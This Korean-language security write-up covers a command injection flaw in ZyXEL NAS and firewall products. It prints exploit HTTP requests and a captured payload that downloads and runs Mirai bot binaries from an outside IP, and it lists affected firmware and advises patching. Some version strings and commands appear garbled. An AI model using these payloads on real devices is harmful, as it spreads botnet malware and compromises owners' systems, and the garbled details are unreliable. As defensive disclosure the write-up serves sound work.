Intro
ZyXEL 회사는 네트워크 장치 제조 업체입니다. 대만에 본사를 두고 있으며, 북미, 유럽, 아시아 등에 지사를 두고 있습니다. 그리고 약 150개 이상의 국가에 제품을 판매하고 네트워크 공급 업체, 통신 회사, ISP 및 기타 중소기업들과 협력하고 있습니다.
Summary
[ZyXEL의 ZyWALL USG 제품]
ZyXEL에는 USG 시리즈는 올 인원 차세대 통합 보안장비(NGFW)가 대표적이고 바이러스, 악성코드, 웹 피싱, 스파이웨어, 스팸 등 외부의 불법 침입 시도를 차단할 수 있는 UTM 장비가 있습니다.
Kaspersky, Trend Micro, Cyren 과 같은 세계 최고의 보안 회사의 엔진을 탑재하여 주기적인 업데이트를 통해 최신 보안 위협으로 부터 빠르고 정확한 실시간 보호 기능을 제공하고 또한 SSL, IPSec, L2TP 와 같이 다양한 VPN 알고리즘 및 호환성을 지원하여 본사/지사 또는 다른 장소에서 보안이 강화된 원격 접속을 지원할 수 있도록 설계되었습니다.
[ZyXEL의 NAS 제품]
해당 취약점은 ZyxelNAS및 방화벽 제품에 사용되는 weblogin.cgi프로그램에서 원격 코드 실행 취약성이 발견되었고 프로그램에 대한 인증이 없으면 공격자가 OS명령 주입을 통해 원격 코드 실행을 수행할 수 있게 됩니다.
ZyXEL에서는 전체 제품 군을 철저히 조사한 후, 해당 취약성이 특정 펌웨어 버전을 실행하는 다음 제품에 영향을 미친다는 것을 확인했습니다.
펌웨어 버전 5.21 이전 버전을 실행하는 NAS제품.
펌웨어 버전 4DV4.35 패치 0~4DV4.35 패치 2를 실행하는 UTM, ATP및 VPN방화벽 펌웨어 버전이 4DV4.35 패치 0 이전인 경우에는 영향을 받지 않습니다.
Explanation
1. Bypass URL
GET /adv,/cgi-bin/weblogin.cgi?username=admin';ls #&password=asdf HTTP/1.1
실행 가능한 weblogin.cgi는 인증 중에 사용자 이름 매개 변수를 제대로 검사하지 않습니다. 공격자는 단일 따옴표' 를 사용하여 문자열을 닫고 세미 콜론을 사용하여 임의 명령을 결합하여 명령을 주입할 수 있게 됩니다. weblogin.cgi는 HTTP GET요청과 POST요청을 모두 허용하므로 공격자는 이러한 HTTP요청 중 하나에 악의적인 페이 로드를 포함시키고 코드를 획득할 수 있습니다.
2. PayLoad
POST /adv./cgi-bin/weblogin.cgi?username=admin ;cd /tmp;wget http://45.84.196.75/zi;sh zi; rm zi+#&password=aaaa HTTP/1.1
Host: 000.000.000.000
User-Agent: Go-http-client/1.1
Content-Length: 0
Content-Type: text/plain
해당 페이로드는 셸 스크립트를 tmp디렉토리에 다운로드하고 다운로드된 스크립트를 실행하여, 취약한 장치에서 증거를 제거하려고 시도했습니다.
#!/bin/bash
wget http://45.84.196.75/bins/arm.bot -0 owo; chmod +x owo ;./owo exploit.zyxel rm -rf owO
wget http://45.84.196.75/bins/arm5.bot -0 owo; chmod +x_owo ;./owo exploit.zyxel.arm5 rm -rf owO
wget http://45.84.196.75/bins/arm6.bot -0 owo; chmod +x owo ;./owo exploit.zyxel.arm6 rm -rf owO
wget http://45.84.196.75/bins/arm7.bot -0 owo; chmod +x owo ;./owo exploit.zyxel.arm7 rm -rf owO
wget http://45.84.196.75/bins/x86.bot -0 owo; chmod +x owo ;./owo exploit.zyxel.x86 rm -rf owO
wget http://45.84.196.75/bins/mips.bot -0 owo; chmod +x owo ;./owo exploit.zyxel.mips rm -rf owO
wget http://45.84.196.75/bins/mpsl.bot -0 owo; chmod +x owo ;./owo exploit.zyxel.mpsl rm -rf owO
wget http://45.84.196.75/bins/sh4.bot -0 owo; chmod +x owo ;./owo exploit.zyxel.sh4 rm -rf owo
실행 시, zi 스크립트는 Mirai 봇의 다양한 아키텍처를 다운로드하고 다운로드 한 바이너리가 실행되며, 바이너리를 제거하게 됩니다.
*추가 - ZyXEL Router
GET /cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&ping_ip=google.ca; `wget http://l.ocalhost.host/luci.sh -O -> /tmp/nemp;sh /tmp/nemp`&server_ip= HTTP/1.1
Accept: text/html,application/xhtml777ml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.0.1/cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup
Accept-Language: en-US,en;q=0.8
Cookie: csd=9; sysauth=<Clipped>
Connection: close
[Shodan ZyXEL 검색결과]
쇼단을 통한 검색결과, 전 세계적으로 많은 국가에서 사용 중이며, 취약점에 대비해야 합니다.
3. 취약한 버젼
NAS326 | 펌웨어 V5.21(AAL4.7)C0 |
NAS520 | 펌웨어 V5.21(AAL5.3)C0 |
NAS540 | 펌웨어 V5.21(AATB.4)C0 |
NAS542 | 펌웨어 V5.21(ABAG.4)C0 |
ATP100 | 펌웨어 V4.35(AB.3)C0 |
ATP200 | 펌웨어 V4.35(FW.3)C0 |
ATP500 | 펌웨어 V4.35(AB.3)C0 |
ATP800 | 펌웨어 V4.35(고유. 3)C0 |
USG20-VPN | 펌웨어 V4.35(NASDAQ.3)C0 |
USB/VPN | 펌웨어 V4.35(ABAR.3)C0 |
USG40 | 펌웨어 V4.35(AALA.3)C0 |
USG40W | 펌웨어 V4.35(AABA.3)C0 |
USG60 | 펌웨어 V4.35(AAL3.3)C0 |
USG60W | 펌웨어 V4.35(AAL3.3)C0 |
USG110 | 펌웨어 V4.35(AAPH.3)C0 |
USG210 | 펌웨어 V4.35(AAPI.3)C0 |
USG310 | 펌웨어 V4.35(AAL3.3)C0 |
USG1100 | 펌웨어 V4.35(AAL3.3)C0 |
USG1900 | 펌웨어 V4.35(AAPL3)C0 |
USG2200 | 펌웨어 V4.35(ABAE.3)C0 |
VPN50 | 펌웨어 V4.35(ABHL.3)C0 |
VPN100 | 펌웨어 V4.35(ABL0.3)C0 |
VPN300 | 펌웨어 V4.35(ABFC.3)C0 |
VPN1000 | 펌웨어 V4.35(ABIP.3)C0 |
ZyWALL110 | 펌웨어 V4.35(AAAA.3)C0 |
ZyWALL310 | 펌웨어 V4.35(AAAB.3)C0 |
ZyLLLL 1100 | 펌웨어 V4.35(AAAC.3)C0 |
※ 해결방안
1. 공격자가 접근하지 못하도록 펌웨어를 업데이트하는 것을 권고드립니다.
https://www.zyxel.com/support/remote-code-execution-vulnerability-of-NAS-products.shtml
2. 복잡한 로그인 암호를 사용하여 무차별적인 공격을 방지하는 것이 좋습니다.
참고사항